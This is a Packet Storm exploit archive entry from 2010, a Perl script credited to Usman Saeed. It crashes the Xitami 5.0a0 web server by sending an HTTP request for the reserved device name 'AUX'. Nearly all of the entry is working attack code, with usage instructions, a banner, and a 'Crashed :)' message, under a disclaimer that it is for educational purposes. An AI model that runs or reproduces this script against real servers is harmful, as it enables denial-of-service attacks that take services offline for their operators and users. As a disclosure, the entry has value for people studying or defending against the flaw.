Xitami 5.0a0 Denial Of Service

2010-05-10T00:00:00
ID PACKETSTORM:89339
Type packetstorm
Reporter Usman Saeed
Modified 2010-05-10T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
# Xitami/5.0a0 Denial Of Service  
# Disclaimer:  
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]  
# Author: Usman Saeed  
# Company: Xc0re Security Research Group  
# Website: http://www.xc0re.net  
# DATE: [10/05/10]  
  
$host = $ARGV[0];  
$PORT = $ARGV[1];  
  
$packet = "AUX";   
  
  
$stuff = "GET /".$packet." HTTP/1.0\r\n\r\n";  
  
  
  
use IO::Socket::INET;  
if (! defined $ARGV[0])  
{  
print "+========================================================+\n";  
print "+ Program [Xitami/5.0a0 Denial Of Service] +\n";  
print "+ Author [Usman Saeed] +\n";  
print "+ Company [Xc0re Security Research Group] +\n";  
print "+ DATE: [10/05/10] +\n";  
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";  
print "+ Disclaimer: [This code is for Educational Purposes , +\n";  
print "+ I would Not be responsible for any misuse of this code]+\n";  
print "+========================================================+\n";  
  
  
  
  
  
exit;  
}  
  
  
$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort => $PORT) || die "Cant connect to $host!";  
print "+========================================================+\n";  
print "+ Program [Xitami/5.0a0 Denial Of Service] +\n";  
print "+ Author [Usman Saeed] +\n";  
print "+ Company [Xc0re Security Research Group] +\n";  
print "+ DATE: [10/05/10] +\n";  
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";  
print "+ Disclaimer: [This code is for Educational Purposes , +\n";  
print "+ I would Not be responsible for any misuse of this code]+\n";  
print "+========================================================+\n";  
  
  
  
  
print "\n";  
  
print "[*] Initializing\n";  
  
sleep(2);  
  
print "[*] Sendin DOS Packet \n";  
  
send ($sock , $stuff , 0);  
print "[*] Crashed :) \n";  
$res = recv($sock,$response,1024,0);  
print $response;  
  
  
  
exit;  
  
  
`